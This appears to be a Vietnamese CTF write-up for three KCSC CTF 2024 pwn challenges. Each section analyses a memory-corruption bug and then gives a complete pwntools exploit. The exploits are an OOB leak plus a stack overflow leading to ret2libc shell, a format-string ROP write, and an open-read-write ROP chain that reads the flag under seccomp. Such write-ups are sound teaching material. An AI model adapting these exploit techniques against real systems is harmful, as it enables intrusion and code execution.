---
# System prepended metadata

title: (writeup) KCSC CTF 2024
tags: [KCSC, wu]

---

# (writeup) KCSC CTF 2024
## petshop
- basic file check

![image](https://hackmd.io/_uploads/rkrLAHzm0.png)

- check ida

![image](https://hackmd.io/_uploads/BJ7dRrzmA.png)
>**main()**

![image](https://hackmd.io/_uploads/SyT9CBzQ0.png)
>**buy()**

![image](https://hackmd.io/_uploads/HyxpRBGXA.png)
>**sell()**

![image](https://hackmd.io/_uploads/Hy71yLfQR.png)
>**info()**

### analyse
- chall có 3 chức năng chính **buy()** , **sell()** và **info()**
- ở hàm **buy()** có bug OOB khi không check khả năng âm của idx

![image](https://hackmd.io/_uploads/B1XLkLMmC.png)
> only check > 3

- tức ta có thể trỏ ngược lên phân vùng bss trên **dogs** hoặc **cats**

![image](https://hackmd.io/_uploads/Hkr7eLGXR.png)
> với idx là -2 có thể leak được exe

- ở hàm **sell()** có bug khác là Stack Overflow khi không **memset()** thằng **n** cho size 

![image](https://hackmd.io/_uploads/HyxpRBGXA.png)
>tức là **n** là stack
>sẽ còn giá trị rác
>khi ta thoả mãn **scanf** return False (đọc thất bại) nhưng không thay đổi giá trị nào trên stack
>với format "%d" (nhận gtri số), ta có thể bypass bằng cách nhập gtri khác (như byte 'a' hoặc byte enter '\x0a')
>bug nằm ở phép toán logic '&&'
>trong coding gọi là hiện tượng đoản mạch
>đk trái False thì không xét đk phải
>---> hàm if sẽ không nhảy vào

- trước khi quay lại hàm **buy()**, ta thấy stack cho nhập size là:
`int n; // [rsp+18h] [rbp-208h]`
- so sánh với buffer khi nhập name cho pets

![image](https://hackmd.io/_uploads/HksZzLMmR.png)
>read 1024 ~ 0x400

![image](https://hackmd.io/_uploads/ByU7fIf7R.png)
> `char s[1037]; // [rsp+20h] [rbp-424h]`

- vậy hoàn toàn có thể set size cho **sell()** bằng cách padding lượng lớn khi nhập name ở **buy()**
- ở hàm **info()**, khi chọn option 'mine' sẽ leak value là con trỏ đang trỏ tới

![image](https://hackmd.io/_uploads/SyFKbLfQC.png)
>format "%s"
- tóm lại, có BOF ---> leak exe --> leak libc --> ret2libc
### get flag

![image](https://hackmd.io/_uploads/rybrerM7R.png)

- script:
```py
#!/usr/bin/python3

from pwn import *

exe = ELF('petshop_patched', checksec=False)
libc = ELF('libc-2.31.so', checksec=False)
context.binary = exe

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*buy+289
                b*info+383
                b*sell+245
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('103.163.24.78',10001)
else:
        p = process(exe.path)

def buy(pet, choice, name):
        p.recvline()
        sla(b'--> ',b'buy ' + pet + b' ' + str(choice).encode())
        p.recvline()
        sla(b'--> ',name)
        p.recvline()
        p.recvline()
def sell(index,size,reason):
        p.recvline()
        sla(b'--> ',b'sell ' + str(index).encode())
        p.recvline()
        p.recvline()
        sla(b'--> ',size)
        p.recvline()
        sla(b'--> ',reason)
def show():
        p.recvline()
        sla(b'--> ',b'info mine')

p.recvline()
p.recvline()
# GDB()

idx = (exe.got.puts - exe.sym.cats)/8 +1

buy(b'cat',-2,b'a'*1023)

show()
p.recvuntil(b'1. ')
exe_leak = u64(p.recv(6)+b'\0\0')
exe.address = exe_leak - 0x4008
info("exe leak: "  + hex(exe_leak))
info("exe base: "  + hex(exe.address))

pop_rdi = exe.address + 0x0000000000001a13

payload = b'a'*0x209
payload += p64(pop_rdi) + p64(exe.got.puts) 
payload += p64(exe.plt.puts) + p64(exe.sym.main)

sell(0,b'',payload)

p.recvuntil(b'reasonable!\n')
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - libc.sym.puts
info("libc leak: " + hex(libc_leak))
info("libc base:" + hex(libc.address))

payload = b'a'*0x209
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
payload += p64(pop_rdi+1) + p64(libc.sym.system)

buy(b'cat',0,b'a'*1023)

sell(1,b'',payload)

p.interactive()
#KCSC{0h_n0_0ur_p3t_h4s_bug?!????????????????????}
```
>KCSC{0h_n0_0ur_p3t_h4s_bug?!????????????????????}
---
## kcsbank
- basic file check

![image](https://hackmd.io/_uploads/HJssmUGQA.png)

- check ida

![image](https://hackmd.io/_uploads/SkXHwIGXA.png)
>**main()**
>2 chế độ: đã login và chưa login

![image](https://hackmd.io/_uploads/rJhvDUGmR.png)
>**general_action()** : chưa login
>có 2 option

![image](https://hackmd.io/_uploads/B1LqwLM7A.png)
>**login()**

![image](https://hackmd.io/_uploads/BJ43P8f7A.png)
>**reg()**

![image](https://hackmd.io/_uploads/ryRg_LMQA.png)
>**account_action()** : đã login
>có 3 option

![image](https://hackmd.io/_uploads/BkxZmOIzQC.png)
>**deposit()**

![image](https://hackmd.io/_uploads/ByS4OLf70.png)
>**withdraw()**

![image](https://hackmd.io/_uploads/SkKBOIMXA.png)
>**info()**
>dễ dàng thấy có bug fmtstr ở đây

### analyse
- vì có bug fmstr nên payload ta nằm ngay từ lúc **reg()** khi nhập full name
- tóm lại: ---> leak libc ---> leak stack ---> fmtstr ret2libc
> note: tui thử one_gadget nhưng không được
- một điều nữa là phải fmtstr thêm 1 cái ngay ret sau **main**
> chả biết nữa, lúc run thì thấy nếu fmtstr ở đó nó lại return stack kế tiếp =))))
> nếu không thì nó exit do libc như bình thường
### get flag

![image](https://hackmd.io/_uploads/rJ5nI8fmR.png)

- script:
```py
#!/usr/bin/python3

from pwn import *

exe = ELF('./banking_patched', checksec=False)
libc = ELF('./libc.so.6',checksec=False)

context.binary = exe

def GDB(): #NOASLR
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*0x555555555656
                #printf
                b*0x55555555589f
                #ret_main
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('103.163.24.78',10002)
else:
        p = process(exe.path)

def show():
        sla(b'> ',b'3')

def reg(username,password,name):
        sla(b'> ',b'2')
        sla(b'username: ',username)
        sla(b'password: ',password)
        sla(b'name: ',name)

def login(username,password):
        sla(b'> ',b'1')
        sla(b'Username: ',username)
        sla(b'Password: ',password)

def logout(feedback):
        sla(b'> ',b'4')
        sla(b'feedback: ',feedback)

GDB()


reg(b'a',b'b',b'%29$p|%6$p')
login(b'a',b'b')

show()

libc_leak = int(p.recvuntil(b'|',drop=True),16)
libc.address = libc_leak - libc.sym.puts - 506
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
stack_leak = int(p.recvuntil(b'\n',drop=True),16)
info("stack leak: " + hex(stack_leak))

system = libc.sym.system
binsh = next(libc.search(b'/bin/sh\0'))
pop_rdi = libc.address + 0x00000000000240e5

ret = stack_leak + 0x30
info("stack ret: " + hex(ret))

logout(b'hlaan')
#########################################
payload = f'%{(ret-8)&0xffff}c%10$hn'

reg(b'aaaa',b'dddd',payload)
login(b'aaaa',b'dddd')
show()
logout(b'hlaan')

payload = f'%{pop_rdi&0xffff}c%44$hn'

reg(b'abc',b'def',payload)
login(b'abc',b'def')
show()
logout(b'hlaan')
#########################################
chain = [pop_rdi,binsh,system]
for i in range(3):
        for j in range(3):
                payload = f'%{(ret+2*j+8*i)&0xffff}c%13$hn'

                reg(b'c'*i,b'd'*i,payload)
                login(b'c'*i,b'd'*i)
                show()
                logout(b'hlaan')

                payload = f'%{(chain[i]>>16*j)&0xffff}c%40$hn'

                reg(b'e'*i,b'f'*i,payload)
                login(b'e'*i,b'f'*i)
                show()
                logout(b'hlaan')
show()

p.interactive()
#KCSC{st1ll_buff3r_0v3rfl0w_wh3n_h4s_c4n4ry?!?}
```
>KCSC{st1ll_buff3r_0v3rfl0w_wh3n_h4s_c4n4ry?!?}
---
## simple qiling
- basic file check

![image](https://hackmd.io/_uploads/HkvesIzmR.png)
> nhìn z thôi chứ không phải z =)))
> do qiling nó NOASLR =))))
- check ida

![image](https://hackmd.io/_uploads/BJONoLMXR.png)
>**main()**
### analyse
- thấy rõ là có bug BOF
- việc còn lại là ret2libc
### setup
```txt
python3 -m venv qilingenv
source qilingenv/bin/activate
git clone -b dev https://github.com/qilingframework/qiling.git
cd qiling && git submodule update --init --recursive
pip3 install .


https://docs.qiling.io/en/latest/install/
https://docs.qiling.io/en/latest/debugger/
https://docs.qiling.io/en/latest/qdb/
```
### ropchain
- đầu tiên ta cần debug trước lấy canary
- và phải active tool trước khi debug: `source qilingenv/bin/activate`

![image](https://hackmd.io/_uploads/rJHIh8GQA.png)

- thấy được là canary tĩnh
> 0x6161616161616100

- ngộ cái là khi leak thành công libc, return lại main nhưng setup tiếp ret2libc(pop_rdi->binsh->system) thì bị EOF
>sợ xmm nhưng thêm ret vẫn thể
- chuyển hướng qua execve (ret2syscall) nhưng vẫn tịt
- quên là có setup 1 func seccomp lại 

![image](https://hackmd.io/_uploads/ByLPNEQQR.png)

- nên còn 1 phương án cuối hơi quằn là ORW =))))
- nếu set path flag.txt (call read 1 lần nữa đưa flag.txt vào rw_section) ở payload thứ 2 thì quá dài (hơn 0x100 byte) nên sẽ set ở payload thứ 1
> hên exe có gadget rsi
### get flag

![image](https://hackmd.io/_uploads/ryCAqLfQR.png)

- debug:
```py
#!/usr/bin/env python3
# import qiling
from qiling import Qiling
from qiling.const import QL_VERBOSE
import sys

#0x5555555553e4

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <ELF>")
        sys.exit(1)
    cmd = [sys.argv[1]]

    # ql = qiling.Qiling(cmd, console=False, rootfs='.')
    ql = Qiling(cmd, console=False, rootfs='.', verbose=QL_VERBOSE.DEBUG)
    ql.debugger = 'qdb'
    ql.run()
```
- script:
```py
#!/usr/bin/env python3

from pwn import *
from qiling import *

exe = ELF("./simpleqiling_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")

context.binary = exe

# p = process(exe.path)
p = remote('103.163.24.78',10010)

p.recvline()
exe.address = 0x555555554000
pop_rdi = exe.address + 0x0000000000001473
main = exe.address + 0x1314
pop_rsi_r15 = exe.address + 0x0000000000001471
rw_section = 0x555555558a00

payload = b'a'*0x28
payload += p64(0x6161616161616100)
payload += b'a'*8
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(rw_section+0x200) + p64(0)
payload += p64(exe.plt.read)
payload += p64(pop_rdi) + p64(exe.got.puts)
payload += p64(exe.plt.puts) + p64(main)

p.send(payload)

p.send(b'flag.txt\0')


libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - libc.sym.puts
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))

p.recvline()

pop_rdi = libc.address + 0x0000000000023b6a
pop_rsi = libc.address + 0x000000000002601f
pop_rdx = libc.address + 0x0000000000142c92
pop_rax = libc.address + 0x0000000000036174
syscall = libc.address + 0x000000000002284d

# payload = b'a'*0x28
# payload += p64(0x6161616161616100)
# payload += b'a'*8
# payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
# # payload += p64(pop_rdi+1)
# payload += p64(libc.sym.system)

# payload = b'a'*0x28
# payload += p64(0x6161616161616100)
# payload += b'a'*8
# payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
# payload += p64(pop_rsi) + p64(0)
# payload += p64(pop_rdx) + p64(0)
# payload += p64(pop_rax) + p64(0x3b)
# payload += p64(syscall)

payload = b'a'*0x28
payload += p64(0x6161616161616100)
payload += b'a'*8
payload += p64(pop_rdi) + p64(rw_section+0x200)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rsi) + p64(0)
payload += p64(libc.sym.open)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(rw_section)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(libc.sym.read)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(rw_section)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(libc.sym.write)

p.send(payload)

p.interactive()
#KCSC{q3mu_vs_q1l1ng_wh1ch_1_1s_b3tt3r}
```
>KCSC{q3mu_vs_q1l1ng_wh1ch_1_1s_b3tt3r}
---
